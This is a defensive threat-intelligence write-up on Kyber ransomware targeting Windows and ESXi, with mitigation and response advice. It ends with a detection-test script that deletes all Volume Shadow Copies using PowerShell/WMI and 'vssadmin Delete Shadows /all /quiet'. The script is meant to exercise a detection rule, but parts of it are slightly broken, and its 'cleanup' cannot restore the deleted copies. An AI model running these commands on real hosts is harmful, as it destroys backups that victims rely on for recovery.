Kyber Ransomware Double Trouble: Windows and ESXi Attacks Explained

Summary

Kyber is a cross-platform ransomware threat designed to encrypt data across both VMware ESXi systems and Windows file servers. The operators rely on native utilities such as esxcli, PowerShell, and vssadmin to shut down virtual machines, remove shadow copies, and distribute ransom notes across impacted environments. In March 2026, researchers recovered two related samples: an ELF binary targeting ESXi and a Rust-based PE file built for Windows. Both variants were linked through shared Tor-based infrastructure and a common campaign identifier.

Investigation

Rapid7 obtained both the ESXi and Windows payloads and conducted static analysis to better understand their behavior. The research showed that the malware uses custom encryption routines built around ChaCha8 with RSA-4096 key wrapping, while the Windows version also incorporates a hybrid Kyber1024 and AES-CTR encryption scheme. Investigators documented the targeted file extensions, ransom note placement, service termination behavior, and a distinctive mutex tied to a Boomplay URL.

Mitigation

Recommended defenses include hardening ESXi access by disabling SSH where possible and enforcing multi-factor authentication, while also restricting access to native utilities such as vssadmin, wmic, and reg. Organizations should secure backups through immutability and monitor closely for changes to VMware management files as well as the appearance of the .#~~~ file extension. Additional detections should focus on the identified mutex and the specific ransom note filenames associated with the campaign.

Response

If Kyber activity is detected, isolate the affected system immediately, preserve the malware samples, and begin recovery using immutable backups. Security teams should block access to the Tor hidden services tied to the campaign ID, remove the mutex, and delete any ransom note files dropped by the malware. A full forensic review should then examine service termination events, registry changes, and related system activity before rebuilding affected virtual machines or hosts from clean images.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:
  The simulated attacker has obtained local administrator rights on the compromised host and wishes to prevent system recovery after encrypting files. Following Kyber ransomware behavior, the attacker first enumerates all existing Volume Shadow Copies via WMI and deletes each one using a PowerShell one‑liner. As a fallback (or to ensure completeness), the attacker also runs vssadmin.exe Delete Shadows /all /quiet. Both commands generate a CommandLine field that matches the Sigma rule exactly, causing an alert.

• Regression Test Script:

  # ----------------------------------------------
  # Kyber‑style anti‑recovery simulation
  # ----------------------------------------------
  
  # 1. PowerShell VSS deletion (exact match)
  $psCmd = 'powershell -ep bypass -nop -c "Get-WmiObject -Class Win32_ShadowCopy | ForEach-Object { $_.Delete() }"'
  Write-Host "Executing PowerShell VSS deletion..."
  Invoke-Expression $psCmd
  
  # 2. vssadmin deletion (exact match)
  $vssCmd = 'vssadmin.exe Delete Shadows /all /quiet'
  Write-Host "Executing vssadmin deletion..."
  & $vssCmd
  
  Write-Host "Simulation complete."

• Cleanup Commands:

  # No persistent artifacts created by this script.
  # Reset PowerShell execution policy to its original state if modified:
  Set-ExecutionPolicy -Scope Process -ExecutionPolicy Restricted -Force
  Write-Host "Cleanup finished."